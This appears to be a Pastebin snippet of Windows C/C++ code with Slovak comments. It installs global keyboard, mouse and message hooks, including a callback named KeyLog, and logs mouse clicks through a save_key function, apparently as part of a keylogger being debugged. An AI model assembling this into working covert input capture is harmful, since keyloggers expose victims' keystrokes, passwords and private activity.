Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- v maine:
- hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyLog, appInstance, 0);
- mouseHook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, appInstance, 0);
- msgHook = SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,appInstance,0);
- //Mouse hook callback function. tato funkcia ide, odchytava mysku
- LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam){
- if (nCode == HC_ACTION) {
- switch(wParam){
- case WM_LBUTTONUP:
- case WM_RBUTTONUP:
- case WM_MOUSEWHEEL:
- #ifdef DEBUG
- w->printText("Scrollovanie alebo klik myskou");
- #endif
- w->save_key("MOUSE");
- i++;
- break;
- default: break;
- }
- }
- return CallNextHookEx(mouseHook, nCode, wParam, lParam);
- }
- //tato nerobi ani kokot, nic sa nevypise NIKDY
- LRESULT CALLBACK CallWndProc( int nCode, WPARAM wParam, LPARAM lParam ) {
- if (nCode == HC_ACTION) {
- w->printText("heureka");
- }
- return CallNextHookEx(msgHook,nCode,wParam,lParam);
- }
Add Comment
Please, Sign In to add comment